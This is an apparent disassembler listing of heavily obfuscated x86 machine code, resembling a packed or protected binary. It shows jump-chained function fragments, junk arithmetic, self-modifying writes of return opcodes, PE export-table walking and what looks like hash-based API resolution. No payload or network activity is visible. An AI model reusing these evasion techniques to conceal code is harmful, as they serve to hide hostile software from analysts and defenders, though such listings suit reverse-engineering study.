sub_7462C2+C944o movzx eax, word ptr [eax] shl eax, 2 push 92EC04BDh pop edx and edx, 0B0F091A2h rol edx, 0Bh jmp loc_745724 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E58E loc_74B7BB: ; CODE XREF: sub_74E58E-2BD3j jnz loc_745E1D loc_74B7C1: ; CODE XREF: sub_755C38-C711j ; sub_748FA4:loc_749AD6j jmp nullsub_7 ; END OF FUNCTION CHUNK FOR sub_74E58E ; --------------------------------------------------------------------------- adc ebp, edi jnz loc_74E2F6 jmp loc_745E16 ; --------------------------------------------------------------------------- loc_74B7D3: ; CODE XREF: _0z4jwtox:00750A9Dj test ecx, ebx jmp loc_745435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756496 loc_74B7DA: ; CODE XREF: sub_756496:loc_75671Aj pop edx cmp eax, edi jmp loc_753B15 ; END OF FUNCTION CHUNK FOR sub_756496 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_74B7E2: ; CODE XREF: sub_74C670-7608j push eax mov eax, esi xchg eax, [esp+0] mov esi, edx call sub_74C68A loc_74B7EF: ; CODE XREF: sub_748E1D+1D7j jmp loc_754D71 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74B7F4: ; CODE XREF: sub_747C22+7108j jnp loc_747B69 loc_74B7FA: ; CODE XREF: sub_747C22:loc_748096j ; sub_747C22+F68Bj add dword ptr [ebp-4], 8 jmp loc_756B4E ; --------------------------------------------------------------------------- loc_74B803: ; CODE XREF: sub_747C22+1B3j ; sub_747C22+C209j mov eax, [ebp-24h] mov eax, [eax+4] jmp loc_745148 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7541CF loc_74B80E: ; CODE XREF: sub_7541CF:loc_7541E0j mov eax, [ebx] neg eax cmp ax, 0A5B3h jnz loc_754234 retn ; END OF FUNCTION CHUNK FOR sub_7541CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753D0E loc_74B81D: ; CODE XREF: sub_753D0E-9622j jmp sub_752E0F ; END OF FUNCTION CHUNK FOR sub_753D0E ; =============== S U B R O U T I N E ======================================= sub_74B822 proc near ; CODE XREF: sub_754729+Ep ; FUNCTION CHUNK AT 00747F19 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00748A01 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748B24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750CAF SIZE 00000013 BYTES mov eax, large fs:0 loc_74B829: ; CODE XREF: sub_74B822-3901j ; sub_74B822+5495j jz loc_750CAF jmp loc_748B24 sub_74B822 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_74B834: ; CODE XREF: sub_74946E+73EDj shr edx, 10h loc_74B837: ; CODE XREF: sub_74946E+73DAj xor eax, 2648BF4Eh or eax, 0BA49DE88h add eax, 4D4302F7h jmp loc_74E147 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754C68 loc_74B84E: ; CODE XREF: sub_754C68:loc_74A471j mov eax, 19ADF9DDh call sub_746E93 mov ds:off_41F00C, eax lea eax, sub_754C68 mov byte ptr [eax], 0C3h jmp sub_754C68 ; --------------------------------------------------------------------------- loc_74B86C: ; CODE XREF: sub_754C68+6j mov eax, [esp+0] push edx call sub_74A3AB jmp loc_752086 ; END OF FUNCTION CHUNK FOR sub_754C68 ; --------------------------------------------------------------------------- push 3D2F03B7h xchg ecx, [esp] mov eax, ecx pop ecx and eax, 0A232088h rol eax, 18h and eax, 0FB3109D7h jmp loc_756C3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753FCE loc_74B899: ; CODE XREF: sub_753FCE-A157j adc edi, 77970816h and eax, 73A806D9h xor esi, 599F0A6Ah jmp loc_7526C4 ; END OF FUNCTION CHUNK FOR sub_753FCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BF3A loc_74B8B0: ; CODE XREF: sub_74BF3A+9B0Dj jnz loc_75237C jmp loc_749601 ; END OF FUNCTION CHUNK FOR sub_74BF3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754729 loc_74B8BB: ; CODE XREF: sub_754729:loc_754B5Cj mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_75237C mov ecx, [ebx+ecx+0Ch] or ecx, ecx jmp loc_752D7E ; END OF FUNCTION CHUNK FOR sub_754729 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_74B8D5: ; CODE XREF: sub_7571A1-714Ej pop ebx and ebx, 0A7EF726Ah sub ebx, 9881E531h add ebx, 0F4122D65h xchg ebx, [esp+0] jmp sub_74FACE ; END OF FUNCTION CHUNK FOR sub_7571A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752F76 loc_74B8F0: ; CODE XREF: sub_752F76:loc_757597j xchg ebx, [esp+4+var_4] mov ebp, esp push ecx push offset loc_756609 jmp loc_752355 ; END OF FUNCTION CHUNK FOR sub_752F76 ; --------------------------------------------------------------------------- locret_74B900: ; CODE XREF: _0z4jwtox:0074924Fj retn ; --------------------------------------------------------------------------- loc_74B901: ; CODE XREF: _0z4jwtox:00752461j jmp nullsub_184 ; --------------------------------------------------------------------------- loc_74B906: ; CODE XREF: _0z4jwtox:0074CCA5j jmp locret_756719 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74B90C: ; CODE XREF: sub_74FE55:loc_749083j imul byte ptr [edx] cmp al, 0A4h jz loc_750861 jmp loc_74771B ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_74B91B: ; CODE XREF: sub_74673E:loc_749CBCj mov eax, [ebp-8] mov byte ptr [eax], 0 mov esp, ebp call sub_746A33 ; END OF FUNCTION CHUNK FOR sub_74673E ; =============== S U B R O U T I N E ======================================= sub_74B928 proc near ; CODE XREF: _0z4jwtox:0074617Ej ; sub_74B042+C6E6p xchg eax, [esp+0] pop eax push ecx push 0C7040F0Eh pop ecx jmp loc_746AB4 sub_74B928 endp ; --------------------------------------------------------------------------- dword_74B938 dd 144650h ; sub_746ED2+13r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A8D1 loc_74B93C: ; CODE XREF: sub_74A8D1+C0CDj jmp loc_74636D ; END OF FUNCTION CHUNK FOR sub_74A8D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7465D2 loc_74B941: ; CODE XREF: sub_7465D2+D182j jmp loc_74A2E7 ; END OF FUNCTION CHUNK FOR sub_7465D2 ; --------------------------------------------------------------------------- dw 0FB32h dword_74B948 dd 7F8CBE40h ; sub_75579C+9w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757314 loc_74B94C: ; CODE XREF: sub_757314+1Dj jmp loc_7481A8 ; END OF FUNCTION CHUNK FOR sub_757314 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7510E4 loc_74B951: ; CODE XREF: sub_7510E4+1j jmp loc_756A8E ; END OF FUNCTION CHUNK FOR sub_7510E4 ; --------------------------------------------------------------------------- dw 8391h dword_74B958 dd 0A5AF901Fh ; sub_75143A+1B49r off_74B95C dd offset off_41F000 ; DATA XREF: sub_74D782:loc_745DF0o dd 6Ah, 1ACh, 10h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_74B974: ; CODE XREF: _0z4jwtox:0074D69Ej ; sub_7557E7-5E45j xor eax, 0C7B1EB22h call sub_746E93 push ecx push 9A4A33B1h xchg ebp, [esp+8+var_8] mov ecx, ebp jmp loc_7509EF ; END OF FUNCTION CHUNK FOR sub_7557E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A67 loc_74B98F: ; CODE XREF: sub_747A67-181j push 4D0C27BEh pop esi or esi, 456320C4h sub esi, 37CCD747h rol esi, 18h jmp loc_753140 ; END OF FUNCTION CHUNK FOR sub_747A67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E58E loc_74B9A9: ; CODE XREF: sub_74E58E+10j xor edi, 2FB880B6h add edi, 0A09E782Ah test edi, 40000000h jmp loc_74B7BB ; END OF FUNCTION CHUNK FOR sub_74E58E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754E36 loc_74B9C0: ; CODE XREF: sub_754E36:loc_74A284j call sub_74BA04 loc_74B9C5: ; CODE XREF: sub_7578F4-1C51j jmp loc_745F27 ; END OF FUNCTION CHUNK FOR sub_754E36 ; --------------------------------------------------------------------------- loc_74B9CA: ; CODE XREF: _0z4jwtox:00753E22j jmp loc_752A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75299B loc_74B9CF: ; CODE XREF: sub_75299B-AA98j ; sub_75299B:loc_7487F2j push 3E7C2226h pop eax and eax, 0DC15CEAEh push offset sub_74C8DA jmp nullsub_95 ; END OF FUNCTION CHUNK FOR sub_75299B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7570CA loc_74B9E5: ; CODE XREF: sub_7570CA:loc_747E9Bj jl loc_74A4C9 ; END OF FUNCTION CHUNK FOR sub_7570CA ; START OF FUNCTION CHUNK FOR sub_74B719 loc_74B9EB: ; CODE XREF: sub_74B719+13j jmp loc_74DE2C ; END OF FUNCTION CHUNK FOR sub_74B719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_74B9F0: ; CODE XREF: sub_74D23E-731Cj jmp nullsub_87 ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- shl ebx, 1Dh shr eax, 1Fh not ecx jmp loc_74A4C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_74BA02: ; CODE XREF: sub_746640+F7EEj xchg esi, ebx ; END OF FUNCTION CHUNK FOR sub_746640 ; =============== S U B R O U T I N E ======================================= sub_74BA04 proc near ; CODE XREF: sub_754E36:loc_74B9C0p ; FUNCTION CHUNK AT 00748984 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 007510D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075640C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00756A0F SIZE 00000026 BYTES xchg ebx, [esp+0] pop ebx mov ebp, esp push ebx mov ebx, ecx xchg ebx, [esp+0] mov [ebp-4], eax jmp loc_75640C sub_74BA04 endp ; --------------------------------------------------------------------------- loc_74BA18: ; CODE XREF: _0z4jwtox:00753466j mov [esi], ebp ; =============== S U B R O U T I N E ======================================= sub_74BA1A proc near ; CODE XREF: sub_7570E0-8062p xchg ecx, [esp+0] pop ecx mov ds:dword_751620, eax locret_74BA23: ; CODE XREF: sub_74B091+62CCj retn sub_74BA1A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7457DD loc_74BA24: ; CODE XREF: sub_7457DD+4A60j jmp loc_7515CD ; END OF FUNCTION CHUNK FOR sub_7457DD ; =============== S U B R O U T I N E ======================================= sub_74BA29 proc near ; CODE XREF: sub_755B5B-79D5p ; sub_7570E0:loc_74F079p ... ; FUNCTION CHUNK AT 00750931 SIZE 0000001B BYTES push ebp jmp loc_750931 sub_74BA29 endp ; =============== S U B R O U T I N E ======================================= sub_74BA2F proc near ; CODE XREF: _0z4jwtox:00745E69j ; sub_749608:loc_75073Bp ; FUNCTION CHUNK AT 0074EB7C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074FE05 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756482 SIZE 00000006 BYTES xchg esi, [esp+0] pop esi add esi, ebp add esi, 9A087048h mov esi, [esi] jmp loc_74FE05 sub_74BA2F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74BA42 proc near ; CODE XREF: _0z4jwtox:00745603j ; _0z4jwtox:loc_748DE6p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745A0B SIZE 00000014 BYTES xchg ecx, [esp+0] pop ecx mov eax, [esp+0] push edi mov edi, edx xchg edi, [esp+0] jmp loc_745A0B sub_74BA42 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov [ebp+0], esi push edi jmp sub_747820 ; --------------------------------------------------------------------------- shl esi, 5 sbb esi, eax jmp sub_747C72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_74BA67: ; CODE XREF: sub_747736:loc_746F6Aj jnz loc_74B731 mov eax, [ebp+8] push eax cmp dword ptr [ebp-14h], 6 setz al call sub_7452F3 pop ecx jmp loc_749B60 ; --------------------------------------------------------------------------- loc_74BA83: ; CODE XREF: sub_747736:loc_74782Dj cmp dword ptr [ebp-10h], 0 jmp loc_74F477 ; END OF FUNCTION CHUNK FOR sub_747736 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_74BA8D: ; CODE XREF: sub_74AAC1+5875j jmp loc_752C5B ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; =============== S U B R O U T I N E ======================================= sub_74BA92 proc near ; CODE XREF: _0z4jwtox:loc_7534E8j ; DATA XREF: sub_754175-C97o ; FUNCTION CHUNK AT 007469E5 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00747CFA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749A2F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074CEA3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0075594A SIZE 00000015 BYTES push 734663D2h pop eax and eax, 8CFE57ECh cmp eax, 653C04B4h loc_74BAA4: ; CODE XREF: _0z4jwtox:loc_746813j jmp loc_747CFA sub_74BA92 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74BAAA: ; CODE XREF: _0z4jwtox:00752C89j jmp locret_7496A1 ; --------------------------------------------------------------------------- loc_74BAAF: ; DATA XREF: _0z4jwtox:loc_749995o call sub_746E93 push ecx push offset loc_7478F1 jmp loc_74596E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_247. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753176 loc_74BAC0: ; CODE XREF: sub_753176:loc_74D3CEj cdq test ebx, esi jmp loc_750DFF ; END OF FUNCTION CHUNK FOR sub_753176 ; --------------------------------------------------------------------------- loc_74BAC8: ; CODE XREF: _0z4jwtox:0074A467j ja loc_7467C5 ; =============== S U B R O U T I N E ======================================= sub_74BACE proc near ; CODE XREF: sub_7565EF-521p ; FUNCTION CHUNK AT 007481B4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748C76 SIZE 00000015 BYTES xchg edx, [esp+0] pop edx push ecx push 0A4599B08h adc ecx, edx jmp loc_7481B4 sub_74BACE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_74BADF: ; CODE XREF: sub_747736:loc_74D0BCj xor eax, 0A9C16275h add eax, 0D05B4F06h call sub_755501 ; END OF FUNCTION CHUNK FOR sub_747736 ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_74BAF0: ; CODE XREF: sub_74AE46+962Cj jmp loc_747477 ; END OF FUNCTION CHUNK FOR sub_74AE46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750243 loc_74BAF5: ; CODE XREF: sub_750243+3805j jmp nullsub_117 ; END OF FUNCTION CHUNK FOR sub_750243 ; --------------------------------------------------------------------------- loc_74BAFA: ; CODE XREF: _0z4jwtox:00750E7Cj jmp loc_745794 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74ECEF loc_74BAFF: ; CODE XREF: sub_74ECEF-3CECj jmp loc_748374 ; END OF FUNCTION CHUNK FOR sub_74ECEF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_266. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74EA54 loc_74BB05: ; CODE XREF: sub_74EA54+7j jmp loc_74D6A3 ; END OF FUNCTION CHUNK FOR sub_74EA54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75275A loc_74BB0A: ; CODE XREF: sub_75275A-C869j jmp loc_74DB30 ; END OF FUNCTION CHUNK FOR sub_75275A ; --------------------------------------------------------------------------- loc_74BB0F: ; DATA XREF: sub_7543C5-D74Bo mov byte ptr [eax], 0C3h jmp loc_74B4DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C0C loc_74BB17: ; CODE XREF: sub_747C0C:loc_74B4DCj pop edx call sub_74C4BB sub eax, 116A53F2h jmp loc_7501AD ; END OF FUNCTION CHUNK FOR sub_747C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7523A2 loc_74BB28: ; CODE XREF: sub_7523A2+41C9j mov byte ptr [eax], 0C3h jmp loc_74BBB9 ; --------------------------------------------------------------------------- loc_74BB30: ; CODE XREF: sub_7523A2:loc_756546j mov eax, [esp+4+var_4] push ebx mov ebx, edx xchg ebx, [esp+0] jmp loc_7496E7 ; END OF FUNCTION CHUNK FOR sub_7523A2 ; --------------------------------------------------------------------------- loc_74BB3E: ; CODE XREF: sub_7460F1+19D1j mov edi, edx xchg edi, [esp] push esi push 0A69B8D5Dh pop esi rol esi, 1Eh test esi, 1000000h jmp loc_753371 ; --------------------------------------------------------------------------- loc_74BB58: ; DATA XREF: sub_750291+42C9o add eax, 4F55F5h xchg eax, [esp] jmp loc_750069 ; --------------------------------------------------------------------------- call nullsub_12 jmp ds:dword_41F144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745911 loc_74BB71: ; CODE XREF: sub_745911+23D1j jmp loc_750960 ; END OF FUNCTION CHUNK FOR sub_745911 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jnb loc_7561C9 jmp loc_75511C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_74BB82: ; CODE XREF: sub_74F78B-1ADDj mov ebx, ebp pop ebp mov eax, [esp-4+arg_0] push edx call sub_74FACE mov eax, 87EB6097h jmp loc_746F75 ; END OF FUNCTION CHUNK FOR sub_74F78B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_74BB98: ; CODE XREF: sub_74D23E:loc_753533j test esi, 759896F6h jmp loc_755E72 ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- push 54E20D33h pop eax sub eax, 6237363h call sub_74C074 ; START OF FUNCTION CHUNK FOR sub_746640 loc_74BBB4: ; CODE XREF: sub_746640:loc_756367j jmp loc_7578C2 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7523A2 loc_74BBB9: ; CODE XREF: sub_7523A2-6877j jmp sub_7523A2 ; END OF FUNCTION CHUNK FOR sub_7523A2 ; --------------------------------------------------------------------------- jbe loc_7485C6 jmp sub_755F77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749608 loc_74BBC9: ; CODE XREF: sub_749608+Bj add eax, 9DC4FAC7h add eax, 623B055Dh mov eax, [eax] popf push esi push 31309FDAh xchg edi, [esp+8+var_8] jmp loc_74C5BA ; END OF FUNCTION CHUNK FOR sub_749608 ; --------------------------------------------------------------------------- test ebp, edi jmp loc_74F58E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75121F loc_74BBED: ; CODE XREF: sub_75121F+Aj mov ecx, 8 sub ecx, eax xor eax, eax mov al, [ebp-9] shl eax, cl mov cl, [ebp-0Bh] jmp loc_746903 ; END OF FUNCTION CHUNK FOR sub_75121F ; --------------------------------------------------------------------------- cmp edx, ecx jmp loc_7455F7 ; --------------------------------------------------------------------------- loc_74BC0A: ; CODE XREF: _0z4jwtox:loc_74FDFFj ; DATA XREF: sub_756FF2:loc_74FDF5o mov eax, [esp] push edx call sub_750C4E mov eax, 0B88FF16Dh call sub_746E93 mov ds:off_41F064, eax lea eax, sub_756FF2 jmp loc_752724 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_74BC2E: ; CODE XREF: sub_746640:loc_75410Bj ; sub_746640+10B3Ej movzx eax, word ptr [ebp-6] loc_74BC32: ; CODE XREF: _0z4jwtox:loc_755CE0j push 0B7DC0357h pop edx xor edx, 732748F8h jmp loc_7544FE ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7574E3 loc_74BC43: ; CODE XREF: sub_7574E3:loc_74A503j mov eax, [esp+0] push edx call sub_753D0E push 5A620623h pop eax sub eax, 5F2412A4h jmp loc_74F29A ; END OF FUNCTION CHUNK FOR sub_7574E3 ; --------------------------------------------------------------------------- mov eax, 99B20D50h push offset sub_74CF91 jmp loc_751610 ; --------------------------------------------------------------------------- xor edx, ecx jmp loc_7562F1 ; =============== S U B R O U T I N E ======================================= sub_74BC73 proc near ; CODE XREF: sub_745685+Dj ; FUNCTION CHUNK AT 007485A2 SIZE 00000005 BYTES push ebx pop eax pop ebx mov ds:dword_746E84, edx loc_74BC7C: ; CODE XREF: _0z4jwtox:0074DCC1j ; _0z4jwtox:00755B7Ej xchg eax, edx call sub_74B525 jmp loc_7485A2 sub_74BC73 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg eax, edi jmp loc_74E202 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_297. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D782 loc_74BC91: ; CODE XREF: sub_74D782-4880j jmp loc_749679 ; END OF FUNCTION CHUNK FOR sub_74D782 ; --------------------------------------------------------------------------- push edx push 0D88C1B14h pop edx add edx, 883F32A9h xor edx, 0C6893E1Ch and edx, 0E69B6ECEh xor edx, 59FD9D7Fh jmp loc_74E54B ; --------------------------------------------------------------------------- loc_74BCBA: ; DATA XREF: sub_74780A+Co mov eax, [eax] mov byte ptr [eax], 6Ch inc dword ptr [ebp-28h] mov eax, [ebp-28h] mov byte ptr [eax], 6Ch inc dword ptr [ebp-28h] mov eax, [ebp-28h] jmp loc_746008 ; --------------------------------------------------------------------------- or eax, 58640B59h jmp sub_74D4C5 ; --------------------------------------------------------------------------- popf jmp loc_74C731 ; --------------------------------------------------------------------------- loc_74BCE4: ; DATA XREF: sub_74F688+6DBDo xchg eax, [esp] jmp loc_752B40 ; --------------------------------------------------------------------------- loc_74BCEC: ; CODE XREF: _0z4jwtox:loc_74A3A6j jz loc_74EE3E jmp loc_74EDD7 ; =============== S U B R O U T I N E ======================================= sub_74BCF7 proc near ; CODE XREF: _0z4jwtox:00747F4Dj ; _0z4jwtox:00749DFBp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074E80C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007537AC SIZE 0000000F BYTES xchg edx, [esp+0] pop edx push edx push eax jmp loc_7537AC sub_74BCF7 endp ; --------------------------------------------------------------------------- mov ds:off_41F198, eax lea eax, loc_749785 mov byte ptr [eax], 0C3h jmp loc_749785 ; =============== S U B R O U T I N E ======================================= sub_74BD16 proc near ; CODE XREF: sub_41AE3D+11Fp ; sub_74BD16+5j ; DATA XREF: ... call sub_74BD26 jmp ds:off_41F19C sub_74BD16 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A63F loc_74BD21: ; CODE XREF: sub_74A63F+13j jmp loc_7544A8 ; END OF FUNCTION CHUNK FOR sub_74A63F ; =============== S U B R O U T I N E ======================================= sub_74BD26 proc near ; CODE XREF: sub_74BD16p ; sub_7554BB-72D6j ... arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0074AD87 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00754A38 SIZE 00000005 BYTES jnb loc_74AD87 pop edx mov eax, [esp+0] jmp loc_754A38 sub_74BD26 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74BD35: ; CODE XREF: _0z4jwtox:0075556Aj adc esi, edi xchg eax, edi loc_74BD39: ; CODE XREF: _0z4jwtox:loc_75555Cj rol eax, 1Dh add eax, 0E050C60Eh jmp loc_755D81 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74BD48: ; CODE XREF: _0z4jwtox:0074A178j jmp locret_7553B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A67 loc_74BD4D: ; CODE XREF: sub_747A67+2EEDj xor eax, ebx jmp loc_74FC9B ; END OF FUNCTION CHUNK FOR sub_747A67 ; --------------------------------------------------------------------------- add ebp, 0B8E8D84Dh jmp sub_74E95A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_74BD5F: ; CODE XREF: sub_74C670+6D6Fj sub edi, 9F2A8983h mov edi, 55BAA038h jmp loc_747BC4 ; END OF FUNCTION CHUNK FOR sub_74C670 ; =============== S U B R O U T I N E ======================================= sub_74BD6F proc near ; CODE XREF: sub_7544F1:loc_7566D4j ; DATA XREF: sub_753FCE-5C5Fo ; FUNCTION CHUNK AT 007452C2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007483FC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074842E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 007495B4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749AE6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074A383 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074CC39 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074DFBE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00753C41 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00753FC4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0075597F SIZE 00000005 BYTES imul byte ptr [edx] cmp al, 0A4h jz loc_7472FB jmp loc_749AE6 sub_74BD6F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749BBA loc_74BD7E: ; CODE XREF: sub_749BBA+13j jnz loc_7468BC loc_74BD84: ; CODE XREF: _0z4jwtox:0074B15Ej jmp loc_747726 ; END OF FUNCTION CHUNK FOR sub_749BBA ; =============== S U B R O U T I N E ======================================= sub_74BD89 proc near ; DATA XREF: sub_74AC6D-A46o add eax, 0D2F862DFh call sub_746E93 push offset loc_74DB46 jmp nullsub_50 sub_74BD89 endp ; --------------------------------------------------------------------------- loc_74BD9E: ; CODE XREF: _0z4jwtox:0074C060j ; _0z4jwtox:00753A86j sub esi, 981E5992h rol esi, 1 add esi, 307A5C41h mov [esi], eax pop esi lea eax, nullsub_265 mov byte ptr [eax], 0C3h jmp nullsub_265 ; --------------------------------------------------------------------------- loc_74BDBD: ; CODE XREF: _0z4jwtox:0074F644j call sub_746E93 mov ds:dword_41F024, eax lea eax, nullsub_290 push offset sub_7530AE jmp near ptr dword_745988+0Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_74BDD8: ; CODE XREF: sub_74673E:loc_746AC6j or edi, 2B06C97h jns loc_749A86 loc_74BDE4: ; CODE XREF: sub_754E41+Cj jmp loc_748EB3 ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- db 81h, 0F6h, 23h dd 0F7FD393h, 28A8Ah, 25C5E900h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_74BDFA proc near ; CODE XREF: _0z4jwtox:0074A5FFj ; sub_74BA2F:loc_74EB7Cp ; FUNCTION CHUNK AT 00745168 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074C494 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007544EC SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add eax, esi pop esi xor edx, edx jmp loc_7544EC sub_74BDFA endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7465D2 loc_74BE09: ; CODE XREF: sub_7465D2+107FDj jmp loc_7483E9 ; END OF FUNCTION CHUNK FOR sub_7465D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745715 loc_74BE0E: ; CODE XREF: sub_745715+Aj jmp nullsub_51 ; END OF FUNCTION CHUNK FOR sub_745715 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749010 loc_74BE13: ; CODE XREF: sub_749010+22A6j jnp loc_74C1CE pushf 